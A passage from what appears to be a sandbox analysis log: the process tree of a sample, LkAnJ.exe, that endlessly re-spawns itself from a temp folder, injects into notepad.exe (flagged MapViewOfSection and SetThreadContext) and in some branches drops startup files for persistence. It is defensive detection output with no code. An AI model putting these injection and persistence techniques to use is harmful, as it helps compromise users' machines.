C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2856 13225787⤵PID:2876
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"88⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2908 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"89⤵PID:2932
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"89⤵PID:2948
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2948 13375589⤵PID:2968
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"90⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:3000 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"91⤵PID:3024
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"91⤵PID:3040
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 3040 13520691⤵PID:3064
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"92⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:324 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"93⤵
- Drops startup file
PID:1228 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"93⤵PID:520
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 520 13656393⤵PID:2096
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"94⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2148 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"95⤵
- Drops startup file
PID:2152 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"95⤵PID:2172
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2172 13810795⤵PID:2160
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"96⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2240 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"97⤵PID:2224
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"97⤵PID:2264
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2264 13948097⤵PID:2268
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"98⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2292 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"99⤵PID:2452
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"99⤵PID:2516
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2516 14085399⤵PID:2440
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"100⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2480 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"101⤵PID:2540
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"101⤵PID:2536
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2536 142226101⤵PID:2560
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"102⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2592 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"103⤵
- Drops startup file
PID:2684 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"103⤵PID:2716
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2716 143739103⤵PID:2732
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"104⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:392 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"105⤵PID:2800
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"105⤵PID:2784
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2784 145034105⤵PID:2764
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"106⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2788 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"107⤵
- Drops startup file
PID:2832 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"107⤵PID:1852
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1852 146360107⤵PID:2900
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"108⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2860 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"109⤵PID:2916
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"109⤵PID:2960
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2960 147748109⤵PID:2992
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"110⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2952 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"111⤵PID:2996
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"111⤵PID:3032
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 3032 149246111⤵PID:576
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"112⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:3040 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"113⤵PID:1724
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"113⤵PID:2144
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2144 150525113⤵PID:2136
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"114⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2056 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"115⤵PID:2120
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"115⤵PID:2192
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2192 151788115⤵PID:2128
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"116⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2172 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"117⤵PID:2196
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"117⤵PID:2284
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2284 153395117⤵PID:2308
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"118⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2268 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"119⤵PID:2488
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"119⤵PID:2484
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2484 154815119⤵PID:2516
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"120⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2568 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"121⤵PID:2552
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"121⤵PID:1800
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1800 156313121⤵PID:2596
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"122⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2560 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"123⤵
- Drops startup file
PID:2688 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"123⤵PID:2592
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2592 157779123⤵PID:2720
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"124⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2732 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"125⤵PID:432
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"125⤵PID:480
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 480 159167125⤵PID:2784
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"126⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2012 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"127⤵
- Drops startup file
PID:2848 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"127⤵PID:2836
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2836 160681127⤵PID:2868
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"128⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2876 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"129⤵PID:2856
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"129⤵PID:2976
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2976 162069129⤵PID:1664
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"130⤵PID:2948
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"131⤵
- Drops startup file
PID:1472 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"131⤵PID:1216
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1216 163411131⤵PID:576
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"132⤵PID:2000
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"133⤵PID:1228
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"133⤵PID:2140
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2140 164815133⤵PID:2096
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"134⤵PID:2232
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"135⤵PID:2176
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"135⤵PID:1792
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1792 166297135⤵PID:2152
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"136⤵PID:2244
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"137⤵PID:2280
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"137⤵PID:2296
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2296 167716137⤵PID:2324
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"138⤵PID:2504
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"139⤵
- Drops startup file
PID:2528 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"139⤵PID:1448
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1448 169339139⤵PID:2516
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"140⤵PID:2536
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"141⤵
- Drops startup file
PID:2644 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"141⤵PID:2608
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2608 170821141⤵PID:2652
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"142⤵PID:2760
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"143⤵PID:2700
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"143⤵PID:2592
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2592 172209143⤵PID:2808
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"144⤵PID:2764
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"145⤵PID:1536
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"145⤵PID:2824
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2824 173613145⤵PID:2832
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"146⤵PID:2848
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"147⤵PID:916
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"147⤵PID:1852
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1852 175173147⤵PID:2964
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"148⤵PID:1356
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"149⤵PID:2976
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"149⤵PID:1664
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1664 176702149⤵PID:3004
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"150⤵PID:1836
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"151⤵PID:3036
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"151⤵PID:576
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 576 178106151⤵PID:2080
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"152⤵PID:1584
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"153⤵
- Drops startup file
PID:2168 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"153⤵PID:2204
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2204 179510153⤵PID:1688
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"154⤵PID:1452
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"155⤵PID:2256
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"155⤵PID:2216
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2216 180929155⤵PID:2320
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"156⤵PID:2440
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"157⤵
- Drops startup file
PID:1248 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"157⤵PID:2520
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2520 182209157⤵PID:2588
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"158⤵PID:2572
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"159⤵PID:2684
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"159⤵PID:2536
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2536 183597159⤵PID:2736
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"160⤵PID:2708
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"161⤵PID:2740
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"161⤵PID:2756
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2756 185095161⤵PID:2720
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"162⤵PID:1960
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"163⤵PID:2012
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"163⤵PID:1876
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1876 186499163⤵PID:2904
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"164⤵PID:2944
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"165⤵PID:2988
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"165⤵PID:2928
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2928 188028165⤵PID:2964
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"166⤵PID:3016
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"167⤵PID:2076
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"167⤵PID:2052
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2052 189400167⤵PID:1056
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"168⤵PID:340
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"169⤵
- Drops startup file
PID:576 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"169⤵PID:2020
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2020 190695169⤵PID:820
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"170⤵PID:816
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"171⤵PID:1352
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"171⤵PID:1640
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1640 192224171⤵PID:2184
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"172⤵PID:2284
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"173⤵
- Drops startup file
PID:2288 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"173⤵PID:2468
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2468 193628173⤵PID:2320
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"174⤵PID:2316
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"175⤵
- Drops startup file
PID:2464 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"175⤵PID:2544
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2544 195141175⤵PID:2588
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"176⤵PID:1800
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"177⤵
- Drops startup file
PID:2636 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"177⤵PID:936
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 936 196592177⤵PID:2736
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"178⤵PID:1420
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"179⤵PID:1548
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"179⤵PID:1148
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1148 198012179⤵PID:2768
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"180⤵PID:2824
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"181⤵PID:2872
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"181⤵PID:2980
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2980 199525181⤵PID:2912
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"182⤵PID:2940
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"183⤵
- Drops startup file
PID:2964 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"183⤵PID:2972
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2972 200976183⤵PID:3032
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"184⤵PID:324
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"185⤵
- Drops startup file
PID:2080 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"185⤵PID:2096
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2096 202333185⤵PID:340
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"186⤵PID:2132
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"187⤵
- Drops startup file
PID:2160 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"187⤵PID:1568
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1568 203706187⤵PID:2416
-
